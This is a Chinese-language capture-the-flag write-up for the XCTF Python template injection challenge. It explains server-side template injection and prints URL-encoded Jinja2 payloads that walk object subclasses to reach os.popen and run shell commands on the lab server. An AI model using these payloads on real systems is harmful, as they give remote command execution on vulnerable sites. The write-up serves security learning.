攻防世界Web_python_template_injection

打开题目:

攻防世界Web_python_template_injection_第1张图片

 题目提示为Python模块注入:

 

1首先判断一下:

攻防世界Web_python_template_injection_第2张图片

网址输入“{{7+7}}”页面显示14,说面存在“SSTI” :

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

2j接下来:“%7B%7B[].__class__.__base__.__subclasses__()%7D%7D”,来查看所有模块

攻防世界Web_python_template_injection_第3张图片

 

3,os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个

"%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()%7D%7D"

查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中

攻防世界Web_python_template_injection_第4张图片

 

 4,然后使用['o'+'s'],可绕过对os字符的过滤,

%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

访问:“flag”文件;

 

攻防世界Web_python_template_injection_第5张图片

 

你可能感兴趣的:(做题)